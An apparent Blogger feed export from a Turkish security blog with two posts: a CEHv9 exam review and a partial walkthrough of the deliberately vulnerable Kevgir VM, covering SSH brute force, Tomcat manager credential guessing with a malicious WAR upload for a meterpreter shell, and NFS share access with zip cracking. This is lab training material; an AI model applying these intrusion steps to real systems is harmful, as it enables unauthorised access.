tag:blogger.com,1999:blog-45360864782901173222024-03-12T18:43:33.277-07:00SeküriiInformation SecurityYunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.comBlogger43125tag:blogger.com,1999:blog-4536086478290117322.post-64747682236358087602016-04-10T23:20:00.001-07:002016-05-09T17:05:19.237-07:00CEHv9 Üzerine18 Şubat günü BGA'nın Istanbul ofisinde, lanet olası emperyal sertifika şirketi olan <a href="https://www.eccouncil.org/" target="_blank">EC-Council'in</a> Certified Ethical Hacker olarak bilinen <a href="https://www.eccouncil.org/Certification/certified-ethical-hacker" target="_blank">CEH</a> sertifikası için sınava girdim.<br />
<br />
Sınav bildiğiniz üzere 125 sorudan oluşuyor ve 4 saat gibi abartı bir süresi var. Çoktan çok seçmeli tarzda sorulardan oluşuyor.<br />
<br />
Sınava nasıl hazırlandığımı, ne yapmanız, nerelere çalışmanız gerektiğini anlatan tavsiyelerde bulunmadan önce vereceğim bir ön uyarı olacak -kendi çapımda, herhangi bir iddaası bulunmayan biri olarak.- <br />
<blockquote class="tr_bq">
<i>Elinizde imkanınız var ise Kali linux'un yapımcıları olan Offensive Security'nin, <a href="https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/" target="_blank">OSCP </a>olarak bilinen sertifikasına hazırlanın. Tamamen pratik üzerine kurulu bu sertifika ile eliniz kirleniyor, işin içine giriyorsunuz. Fakat CEH çoğunlukla teoriler ile ve arada bu işlerde kullanılan bir kaç araçtan bahsediyor. Yanisi CEH'ten uzak durun eğer alma mecburiyetiniz yok ise. Kendi dökümanlarında sürekli windoz ile işlem yapıyorlar bir de namıssızlar. La bu Linux size ne etti Ec-Council.</i></blockquote>
Sınavı geçmek aslında basit. Eğer iyi kötü sektörün içinde iseniz veya meraklı, okumayı seven biriyseniz zaten bir çok konuyla ilgili fikriniz vardır. Ve bunlar çalışma/sınav sırasında işinize yarayacaktır. Şahsen öğrencilik zamanımda -sanki mezun olalı yıllar olmuş gibi :)- ilgi alanımda olsun, olmasın bir çok blog, döküman okurdum. Onların çokça faydasını gördüm.<br />
<a name='more'></a><br />
Sertifikayı almaya niyetli ve temel web, network, sistem bilginizin olduğunu varsayarsak düzenli olarak soru çözerek işi kolayca bitirebilirsiniz.<br />
Bunun için size iki yol;<br />
<ol>
<li><a href="https://www.skillset.com/" target="_blank">Skillset</a> efsanesi ile tanışın.</li>
<li>Ortamlarda dolaşan CEH soru dump'ını 1 defa çözün</li>
</ol>
İlkini yapar iseniz ikincisine gerek bile yok aslında. Neden mi? Çünkü, Skillset zaten soru dumpları ve benzeri olan, sınavda çıkabilecek soruları içeriyor.<br />
<br />
<span style="font-size: large;"><b>Skillset, Skillset, Skillset </b></span><br />
<br />
Şuan adını da iyice duyurduğu için programını genişletip paralı üyelikler sunmaya başladılar. Fakat ücretsiz üyelik size sınavlar için yeter de artar bile.<br />
Sitede bulunan ve hazırlanabileceğiniz sertifikaların listesi şöyle bişey;<br />
<ul>
<li><a href="https://www.skillset.com/certifications/cissp">CISSP</a></li>
<li><a href="https://www.skillset.com/certifications/cisa-2">CISA</a></li>
<li><a href="https://www.skillset.com/certifications/pmp">PMP</a></li>
<li>
<a href="https://www.skillset.com/certifications/csslp">CSSLP</a></li>
<li><a href="https://www.skillset.com/certifications/ceh">CEH</a></li>
<li><a href="https://www.skillset.com/certifications/CHFI">CHFI</a></li>
<li><a href="https://www.skillset.com/certifications/ccna">CCNA</a></li>
<li><a href="https://www.skillset.com/certifications/ccent-1">CCENT</a></li>
<li>
<a href="https://www.skillset.com/certifications/comptia-networkplus">Network+</a></li>
<li>
<a href="https://www.skillset.com/certifications/securityplus">Security+</a></li>
</ul>
<br />
İlk çıktığı zamanlara göre çok iyi bir değişim gösterdiler.Soruları kategoriler halinde sunuyorlar, kategoriler halindeki sorularda zorluk seviyelerine göre level-level karşınıza çıkıyor.<br />
<br />
Sınava girdikten sonraki gün adamlar yeni bir özellik getirdi. -şansımı seviim-<br />
CEH<b> sınavını simüle</b> eden bir test. Bu test ile CEH sınavında olduğu gibi 125 soru karşınıza çıkıyor ve çözmeye çalışıyorsunuz.<br />
İsterseniz normal kategorilerden sorular ile kendinizi bu teste hazır hissettikten sonra burada zaman geçirebilirsiniz.<br />
<br />
Skillset üzerinde olan soruları, en azından her kategorinin yarısına kadar, çözdükten sonra CEH isimli sınav size kek gelecektir. Çünkü sorular inanılmaz benzer çıkabiliyor.<br />
Hızlı soru çözen, test mantığıyla yardıran biri olduğum için kısa sürede çok soru çözebiliyordum.<br />
İşteyken canım sıkıldığında 2-3 test çözerdim, akşam evde yardırırdım, derken 2bin küsür soru çözmüşüz. Sınava girdiğimden bu yana bakmıyordum, son görüntü bu şekilde olmuş.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqEUJP3f76AjR4AqejRVNN7jen6StV_XW19B2tsl0ukHI3SBJ92C2YOPq77ICvBbfTGKtvMPt7xagh-0iqXGBVHOoOa066hXFh10xIZjP0lzpphuu6KpvIhFeD8IQFLII_sLBNPgjm1Ms/s1600/31.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="241" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqEUJP3f76AjR4AqejRVNN7jen6StV_XW19B2tsl0ukHI3SBJ92C2YOPq77ICvBbfTGKtvMPt7xagh-0iqXGBVHOoOa066hXFh10xIZjP0lzpphuu6KpvIhFeD8IQFLII_sLBNPgjm1Ms/s640/31.JPG" width="640" /></a></div>
Farklı modlar gelmiş sanırım. Artık onları keşfetmek size kalıyor.<b><br /></b><br />
<br />
<b>Sınav Tecrübesi</b><br />
<br />
Sınav online olduğu için bilgisayar başında, browser üzerinden gerçekleşiyor. Sınavı düzenleyen kurum ortamı hazırladıktan sonra gerisi sizin başlamanıza kalıyor. Soruları çözdükçe/gördükçe bir combobox'un içi soru numaraları ve başlığıyla doluyor ve sorular arasında geçiş yapabiliyorsunuz. İstediğiniz gibi geri dönüp takıldığınız sorulara bakabilirsiniz.<br />
Bileceğiniz üzere sınavın dili ingilizce. Sınavı bitirme butonuna<b>, End Exam </b>veya <b>End Task</b> mıydı hatırlayamadım, basana kadar süreniz dahilinde sorular arasında istediğiniz gibi dolaşabilirsiniz.<br />
<br />
Hızlı bir şekilde soruları çözmeye başladım ve yaklaşık 1 saatte tüm soruları bitirdim. Fakat derin bir şekilde sorular üzerine düşünmeden yaptığım için böyle oldu. Emin olmadığım soruların numaralarını bir kağıda not almıştım. Daha sonra dönüp bunlara tekrardan baktım ve sınavı başa sardım :)<br />
Bu sefer ağır ağır, zamanın tadını çıkararak çözdüm. Bu arada yanlışlarımı görüp bir kaç sorunun da cevabını değiştirdim. Böylesi bir gidiş hoşuma gitmişti ve faydası oldu diyebilirim, çünkü soruları tekrar okuduğum zaman aklımda belli bir cevap beliriyordu.<br />
<br />
Sınavda karşıma çıkan sorulardan hatırladıklarım;<br />
<ul>
<li>Risk assessment, policy, procedure kavramları</li>
<li>Black box - White box pentesting kavramları, ayrı ayrı 2 soru şeklinde</li>
<li>Nmap ile ilgili 3-5 soru vardı</li>
<li>CSRF, XSS gibi zafiyetler sözel şekilde vardı</li>
<li>OWASP Mobile Top 10 ile ilgili bir soru</li>
<li>Ethical heçkırlık ile ilgili sorular</li>
<li>Pentest sırasında karşılaştığınız extrem bir durumda nasıl aksiyon alacağınız ile ilgili soru</li>
<li>Windows LM Hash özelliklerine dair soru</li>
<li>Regulatory compliance'lar ile ilgili sorular</li>
<li>Covert channel </li>
<li>Güncel güvenlik zafiyetleri</li>
<li>Shellshock ile ilgili 2 soru vardı sanırım </li>
<li>HeartBleed zafiyeti</li>
<li>gibi gibi, </li>
</ul>
<br />
Sınav sonucu aldığım görüntü ile yazıyı sonlandıralım.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx9MLAZ_ujopiwaETAPUG6oINCXfH1DyH-tR9IQgoG6Jp0Rpw8svPhxlulnQd-69f_4ixfsNCKkmU8urCwMFPiidKHvs0wJIzJbCg_4-7aJjC9XWJBfG-9tVL8S_CUKO8jDCU6qpB_86U/s1600/s%25C4%25B1nav.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx9MLAZ_ujopiwaETAPUG6oINCXfH1DyH-tR9IQgoG6Jp0Rpw8svPhxlulnQd-69f_4ixfsNCKkmU8urCwMFPiidKHvs0wJIzJbCg_4-7aJjC9XWJBfG-9tVL8S_CUKO8jDCU6qpB_86U/s640/s%25C4%25B1nav.jpg" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com4tag:blogger.com,1999:blog-4536086478290117322.post-25281493884701883502016-04-01T06:18:00.000-07:002016-04-01T15:51:52.251-07:00Kevgir VM Çözüm (Walkthrough)<a href="https://canyoupwn.me/" target="_blank">Can you pwn me</a> ekibi hazırlamış oldukları, <a href="https://canyoupwn.me/kevgir-vulnerable-vm/" target="_blank">Kevgir</a> isimli ve üzerinde zafiyetler olan işletim sistemini indirmeye sundular. Sanal bir linux -Ubuntu 14.04- işletim sistemi ve üzerinde barındırdığı zafiyetlerin yanı sıra web uygulamaları içinde egzersiz yapmaya müsait ortam hazırlamışlar. Bunların içerisinde <a href="https://github.com/xsuperbug/g0yg0y" target="_blank">g0yg0y</a>, DVWA, <span class="st">XVWA, Mutillidae, Joomla, Jenkins gibi heçklenmeye müsait web uygulamaları var.</span><br />
<blockquote class="tr_bq">
<i><span class="st">Yazı dizisi şeklinde yazmayı düşünüyorum, her yazıda Kevgir'e giriş için müsait olan yolları inceleyeceğiz.</span></i></blockquote>
<span class="st">Yazıyı yazmaya başladığım vakit yukarıdakini yazmışım.</span><br />
<span class="st">Şimdi dibi görünmeyen bir yazı oldu. Acaba <a href="http://www.chip.com.tr/" target="_blank">CHIP</a> gibi part part yazıp hit mi alsaydım? </span><br />
<span class="st">Umuyorum uzunluğuna bakıp burayı terketmezsiniz, ederseniz de sizin kaybınız olur :P</span><br />
<span class="st">Giriş biraz cıvık olmuş gibi olabilir ama sonrasını teknik yazmaya çalıştım raat olun.</span><br />
<span class="st"><br /></span>
Kevgir'in IP adresi olan 192.168.31.31'i hosts dosyasının içeriğinde kevgir ismine eşleştirdim. Bu yüzden sonraki adımlarda yapılacak olan işlemlerde IP adresi yerine <b>kevgir </b>hostname kullanılacaktır.<br />
<br />
Öncelikle bir nmap taraması ile sunucumuzun durumu nedir öğrenelim. Verdiğim Nmap parametreleri sırasıyla;<br />
tüm portları tara, SYN scan yöntemiyle taramayı gerçekleştir, açık portlar üzerindeki servislerin versiyonlarını bul, makinenin işletim sistemini bul, çıktıyı verilen konuma tüm (grepable, xml, nmap) formatlarda kaydet.<br />
<a name='more'></a><pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> nmap kevgir -p- -sS -sV -O -oA /root/kevgir_scan
</code></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-1G0-UygCdPOGZjpMi85mKrZzYZFDyw99B-lgZphEs3UKBV8qks-p5T2THcDNsfD7u3G99-DZXzUsHos9Z2h1E5DtROadWo5tT5SfCZxzstUhnm1bxLYcnPcjLTuExNkx4doYsuWFyPo/s1600/scan1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="489" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-1G0-UygCdPOGZjpMi85mKrZzYZFDyw99B-lgZphEs3UKBV8qks-p5T2THcDNsfD7u3G99-DZXzUsHos9Z2h1E5DtROadWo5tT5SfCZxzstUhnm1bxLYcnPcjLTuExNkx4doYsuWFyPo/s640/scan1.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
Kevgir üzerinde bulunan zafiyetler ile ilgili kısa kısa açıklamalarda bulunarak shell alma yöntemlerini yaparak geçeceğiz. Ardından herhangi bir yöntemle almış olduğumuz shell'den yürüyerek linux makinede root yetkisi almaya çalışacağız.<br />
Yazının devamı aşağıdaki alt başlıklardan oluşuyor:<br />
<ul>
<li>SSH</li>
<li>Apache Tomcat</li>
<li>NFS</li>
<li>Redis - 1</li>
<li>Redis - 2</li>
<li>Jenkins</li>
<li>Joomla</li>
<li>Root </li>
</ul>
<span style="font-size: large;"><b>SSH</b></span><br />
Kevgir'e yapmış olduğumuz port taraması sonucunda gördüğünüz üzere TCP 1322 numaralı port üzerinde OpenSSH servisi çalışmakta. Versiyona özel zafiyetleri aramadan önce veya arama sırasında buraya brute force ile bir uğramak gerek.<br />
Yapılacak brute force işleminde kullanıcı adları ve parolalar için klasik wordlistler kullanılabilir. İşlemi uzatmamak adına saldırı kapsamındaki kullanıcılarımızı keşfedip, direkt olarak onlara brute force yapmak daha efektik. Bu yüzden önce Metasploit içerisindeki ssh_enumusers modülüyle bir bakalım karşımızdaki makinede SSH ile erişilebilecek hangi kullanıcılar varmış.<br />
Resimden görebileceğiniz üzere <b>admin</b> ve <b>user</b> kullanıcıları brute force işlemimize müsait görünüyor.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEincqYdBEcpl6aF2ZEoWDbXybX5yjrYXwyiqctsIXFwfCiX5a36Z2rQxitbmrsqjArXfDR0dEi5ducd2zGjUnKVbUEAtIOKyHVx9yRpWAGbrAYGI5gnqtFeFsrwnuJDuUJo6wsLNQ-b7nc/s1600/ssh_users.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="548" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEincqYdBEcpl6aF2ZEoWDbXybX5yjrYXwyiqctsIXFwfCiX5a36Z2rQxitbmrsqjArXfDR0dEi5ducd2zGjUnKVbUEAtIOKyHVx9yRpWAGbrAYGI5gnqtFeFsrwnuJDuUJo6wsLNQ-b7nc/s640/ssh_users.png" width="640" /></a></div>
<br />
Brute force işlemi için çeşitli araçlar kullanılabilir. Örnek olarak <b>Hydra </b>aracıyla brute force yapacam, ardından <b>metasploit </b>üzerinde aynı işlemi gerçekleştireceğim. Buradaki önemli nokta; metasploit'in ssh brute force modülünde geçerli kullanıcı adı ve parola elde edildiği zaman otomatik olarak shell almasıdır.<br />
Hydra ile başlayalım.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZgRcYB3TW6-h-684LPnIq0zi0gX3hHrofC6AJdEJkHXb-3Htq5tUqUHsn8EjskScgBnXwRDt1VRtOGorVqnrZCEqzCtDu7G-GI6hq2Yvz-3Y116MehehSGF7Aw1zeFiv1U9PFxo3ul7w/s1600/ssh_hydra.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZgRcYB3TW6-h-684LPnIq0zi0gX3hHrofC6AJdEJkHXb-3Htq5tUqUHsn8EjskScgBnXwRDt1VRtOGorVqnrZCEqzCtDu7G-GI6hq2Yvz-3Y116MehehSGF7Aw1zeFiv1U9PFxo3ul7w/s640/ssh_hydra.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Görüldüğü üzere <b>user:resu</b> ve <b>admin:admin</b> olmak üzere geçerli iki SSH kullanıcısı elde ettik.<br />
<br />
Şimdi bunları kullanarak Metasploit üzerinde bulunan <b>ssh_login</b> modülüyle aynı şekilde brute force gerçekleştirelim. Ek olarak ssh_login modülündeki <b>USERPASS_FILE</b> parametresine bulunan kullanıcı adı ve parola ikilileri verilerek direk olarak sistemden shell alınabilir.<br />
Önceki adımı yapmamış gibi davranıp<b> USER_FILE</b> ve <b>PASS_FILE</b> parametrelerine wordlist'leri verip, <b>verbose </b>alanını da sessize(false) aldıktan sonra başlayalım.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPtiBSc1YRRRIH6iv694CAqG985wpLhawU8a0weZmh4-xdiI1yM-P6xrpeLu3h-dogXLU64RBsJMsgYg_cTh63AoKo-FAzxIHIJBmNaM48v9e5vJrnDdUfSFZNkePQrt1W2_HSbpooLDk/s1600/ssh_msf.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="204" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPtiBSc1YRRRIH6iv694CAqG985wpLhawU8a0weZmh4-xdiI1yM-P6xrpeLu3h-dogXLU64RBsJMsgYg_cTh63AoKo-FAzxIHIJBmNaM48v9e5vJrnDdUfSFZNkePQrt1W2_HSbpooLDk/s640/ssh_msf.png" width="640" /></a></div>
<br />
<br />
Görüldüğü üzere iki kullanıcı ile de hedef sistem üzerinde shell almış olduk. Alınan shell basit linux shell. Fakat, çocuk videolarda ve bloglarda meterpreter shell görüyor ve aklından geçiriyor benimde bir meterpreter shell'im olsa, anne bana niye meterpreter shell aldırmıyorsun diyor bizde niye meterpreter yok diyor. Burada <a href="https://www.youtube.com/watch?v=FIfH_L6jYWQ" target="_blank">püskevitçi</a> çocuklara küçük bir tırrek(trick) gösterip, linux shell'imizi meterpreter shell'e yükselteceğiz.<br />
Bunun için iki yolumuz var.<br />
<br />
<b>Birincisi</b>; shell_to_meterpreter modülünü kullanarak SESSION parametresine, yükseltilmesini istediğimiz shell'in olduğu session numarasını verip yükseltmek.<br />
<b>İkincisi</b>; background'da duran oturumları yönettiğimiz komut olan sessions kullanmak. Bu komut ile basitçe bir veya birden çok shell'i meterpreter shell'e kolayca yükseltebiliriz.<br />
Aşağıdaki resimde görüldüğü üzere iki linux shell mevcut. Bunları tek hamlede meterpreter'a yükseltiyoruz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSruy8SXieUg47o0X0AtLkZUBhnUROPm2pwBzeG8oLjfp7Ka_0DEFnLcKbtapqSlCgRWyHOcDYU6gGGAUETWg_7G1QJj2bkjG5GIyxlqDPF8t0rlIjlpRICOQ8ORFtArdrCnK4BwwUrU8/s1600/ssh_meter2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSruy8SXieUg47o0X0AtLkZUBhnUROPm2pwBzeG8oLjfp7Ka_0DEFnLcKbtapqSlCgRWyHOcDYU6gGGAUETWg_7G1QJj2bkjG5GIyxlqDPF8t0rlIjlpRICOQ8ORFtArdrCnK4BwwUrU8/s640/ssh_meter2.png" width="640" /></a></div>
<br />
<br />
<span style="font-size: large;"><b>Apache Tomcat</b></span><br />
Tomcat bilindiği üzere java uygulamalarını çalıştırmak için kurulan web sunucu. Uygulamaya/Versiyona özel bir zafiyetten ziyade burada ilk aradığımız şey brute force ile yetkili bir kullanıcı adı ve parola ikilisidir. Bulunan yetkili hesabı ile sisteme <b><i>war </i></b>uzantılı bir zararlı yüklenip çalıştırılabilir.<br />
Bu yüzden ilk olarak Metasploit içerisindeki <b>tomcat_mgr_login</b> modülünü kullanıp, default kullanıcı adı ve parola ikilileri yakalamaya çalışacağız. Modülü kullanıma aldığımız vakit metasploit'in bu modüldeki default parametrelerinde kendi içerisinde bulunan kullanıcı adı ve parola listeleri set edilmiş durumdadır.<br />
<b>RHOST </b>ve <b>RPORT </b>parametrelerine değerler girildikten sonra modülü çalıştırabiliriz. Burada görüntü kalabalığı oluşmaması adına <b>verbose </b>devre dışı bırakılmıştır (false değeri atanmıştır).<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDW23t-N5ZBHMTmhkbPtjlTXTyMilWIOzYX8N2jhHHF86Q6zFDKllZLqBguAQ2V3XFUbdoLW-tEOyiyYBysr2yMJl5bSlpATDZblfX-oCom_L5jKYG4fnDvNsfXRGhI9VnytRbQBFwh-Q/s1600/tomcat_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDW23t-N5ZBHMTmhkbPtjlTXTyMilWIOzYX8N2jhHHF86Q6zFDKllZLqBguAQ2V3XFUbdoLW-tEOyiyYBysr2yMJl5bSlpATDZblfX-oCom_L5jKYG4fnDvNsfXRGhI9VnytRbQBFwh-Q/s640/tomcat_1.png" width="640" /></a></div>
Elimizde <b>tomcat</b>:<b>tomcat </b>ikilisinden oluşan bir kullanıcı adı ve parola mevcut. Şimdi sıra bundan yararlanıp sistem üzerinde shell almakta. Bunun için iki yol mevcut diyebiliriz.<br />
<b>Birincisi</b>; Metasploit'in <b>tomcat_mgr_upload</b> modülünü kullanarak elde ettiğimiz kullanıcı adı ve parola ikilisini kullanarak hedef sistem üzerinde meterpreter shell almak.<br />
<b>İkincisi</b>; Tomcat arayüzüne web browser'dan erişip, Metasploit tarafında oluşturacağımız (<b>msfvenom</b>) ve bize shell açmaya, komut çalıştırmaya, yarayacak olan <b>war </b>uzantılı bir arka kapı.<br />
Bu war dosyasını web arayüzünden deploy etmek, o sırada metasploit tarafında handler ile dinlemeyi başlatmış olmak, ardından war dosyamızdan çıkan JSP dosyasına url üzerinden erişmek ve shell almayı beklemek. Yazarken bile uzun geldi, önümüzde bir kısıt yok ise Metasploit üzerinden tomcat_mgr_upload modülünü kullanarak çabuk ve zahmetsiz bir şekilde shell alabiliriz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDctACefazwfsfygnTJAi8hAe5zoalLPGaJnXReqa4NW_s6WRJ7rDsxzusxTncv15UG8ETbb6vjj8ThD87bIh5FN_RZxWjoLYPCERtvZtIimK9ht-PZ8-2RQWatKp9tMoTJ4-9wLQVN8c/s1600/tomcat_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDctACefazwfsfygnTJAi8hAe5zoalLPGaJnXReqa4NW_s6WRJ7rDsxzusxTncv15UG8ETbb6vjj8ThD87bIh5FN_RZxWjoLYPCERtvZtIimK9ht-PZ8-2RQWatKp9tMoTJ4-9wLQVN8c/s640/tomcat_2.png" width="640" /></a></div>
Görüldüğü üzere geçerli kullanıcı adı ve parola ile sistem üzerinde meterpreter shell alınmıştır.<br />
<br />
<span style="font-size: large;"><b>NFS</b></span><br />
<span class="st">Network File System (NFS) bilindiği üzere TCP </span>port 2049 üzerinde çalışır ve dosya paylaşımı yapmayı sağlar. Wikipedia'nın dediği üzere: "<i>ağdaki
bilgisayarların ortak bir dosya sistemine, yerel diskleri kadar kolay
ulaşmasını sağlayan, RPC temelli dağıtık dosya sistemi yapısıdır.</i>"<br />
<br />
Metasploitable'dan
da hatırlayacağınız üzere burada yapılmış kontrolsüz bir paylaşım
lokaldeki tüm bilgileri başkalarının erişimine açık hale getirebilir. Daha doğrusu paylaşıma açılmış klasör ve altındakilerini erişime açık hale getirebilir.<br />
Port taramasından elde ettiğimiz sonuçta TCP 2049 portu üzerinde nfs servisi çalışıyor. Buradan paylaşıma açılmış bir alan olup olmadığını görmek için showmount komutunu kullanacağız.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq8dFFJRqlS9Dmi1WNUjt8N4q81xVl7Xfzhoobg0zcR8MYLLwxo2fYU8kNOuV3HAqMLl1-PmpXSr_ZIDdHwX1r6K4_Hank2Y2t3U2rB6wW1tfByIM8XROhh2_DpIFWWhNVbaLClsmChLU/s1600/nfs_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="236" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq8dFFJRqlS9Dmi1WNUjt8N4q81xVl7Xfzhoobg0zcR8MYLLwxo2fYU8kNOuV3HAqMLl1-PmpXSr_ZIDdHwX1r6K4_Hank2Y2t3U2rB6wW1tfByIM8XROhh2_DpIFWWhNVbaLClsmChLU/s640/nfs_1.png" width="640" /></a></div>
<br />
Görebildiğiniz üzere /backup klasörü erişilebilir durumda. Bu klasörü mount komutuyla lokaldeki bir klasöre mount etmek için gerekli adımları gerçekleştiriyorum. Mount komutuna -t parametresi ile <b>nfs</b> olduğu söylenilmediği taktirde hata alınacaktır.<br />
Klasörü erişilebilir hale getirdikten sonra içerisinde bir zip dosyası görüyoruz. Sıkıştırılmış dosya şifrelenmiş bir şekilde duruyor.<br />
Zip şifresini kırmak için farklı araçlar kullanılabilir. Eğer varsa <b>zip2john </b>ile dosyanın hash değerini alıp <b>JtR </b>ile hızlı bir şekilde kırabilirsiniz. Olmadığı durumlarda<a href="https://github.com/th3gundy/zipCracker" target="_blank"> şu adresteki</a> gibi bir script kullanıp, zip dosyasına wordlist yardımıyla brute force yapılabilir.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvgTX-fdUp1Piyk3ybgKRvL3d99n1Bf7MRvVodsWrCS177oJ3gfkl17pp8hxQf_pjcmwK_Iw7djWTkt4jOG63j5oOJ_puHHiKo9laO99SmWbIClilOlifE_e0_cP8f98l002-IPZ2qpjs/s1600/nfs_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvgTX-fdUp1Piyk3ybgKRvL3d99n1Bf7MRvVodsWrCS177oJ3gfkl17pp8hxQf_pjcmwK_Iw7djWTkt4jOG63j5oOJ_puHHiKo9laO99SmWbIClilOlifE_e0_cP8f98l002-IPZ2qpjs/s400/nfs_2.png" width="383" /></a></div>
Buna alternatif olarak, hatta daha iyisi olan, Kali linux'da kurulu gelen <b>fcrackzip</b> kullanılabilir.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL5nu7dzGBndqULBH8ZHPi-OhvKmVkxWqhoStv8M7KU3eW0ku27mdPIrF_pJe8RYdiYsH2NTXHdY6GrGoje2o3_VVgz60hGrv70X47BCxq8mUJSDXklwcMY4WE-dGUDp_6pkYPo_tqNyM/s1600/nfs_2-2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="89" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL5nu7dzGBndqULBH8ZHPi-OhvKmVkxWqhoStv8M7KU3eW0ku27mdPIrF_pJe8RYdiYsH2NTXHdY6GrGoje2o3_VVgz60hGrv70X47BCxq8mUJSDXklwcMY4WE-dGUDp_6pkYPo_tqNyM/s640/nfs_2-2.png" width="640" /></a></div>
<br />
<br />
Parola bulundu, <b>6</b> tane <b>güccük A</b> harfi imiş. Doğru parola bulunduğu zaman, kullandığımız script zip dosyasını aynı klasöre çıkartıyor.<br />
Zip'ten çıkan dosya da sıkıştırılmış dosya ama bu sefer şifreli değil. Bunuda açtıktan sonra sunucu üzerinde çalışan web uygulamalarına ait içeriklerin buraya yedeklendiğini anlıyoruz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5wqpPkdM3QoPKcdmmkcaY_WbgOFiC4xPWo8Z4iFIsJIpqdGVIqY-mpIdQaLFMrfqB8-mo1oC41D6mqREebqTbQQBYiX4WEPZE3a5eIh7uBnh2Quzh60UL1ZoF5FVMPwZWJ-S8bDj_37Q/s1600/nfs_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5wqpPkdM3QoPKcdmmkcaY_WbgOFiC4xPWo8Z4iFIsJIpqdGVIqY-mpIdQaLFMrfqB8-mo1oC41D6mqREebqTbQQBYiX4WEPZE3a5eIh7uBnh2Quzh60UL1ZoF5FVMPwZWJ-S8bDj_37Q/s400/nfs_3.png" width="400" /></a></div>
Buradaki dosyaların içerisinde web uygulamalarının konfigürasyon dosyaları olabilir ve bunlar içerisinde işimize yarayacak bazı bilgiler elde edebiliriz. Örnek olarak, ilk bakışta aşağıdaki gibi bilgiler elde edilmiştir yedek dosyaları içerisinden.<br />
<div class="separator" style="clear: both; text-align: center;">
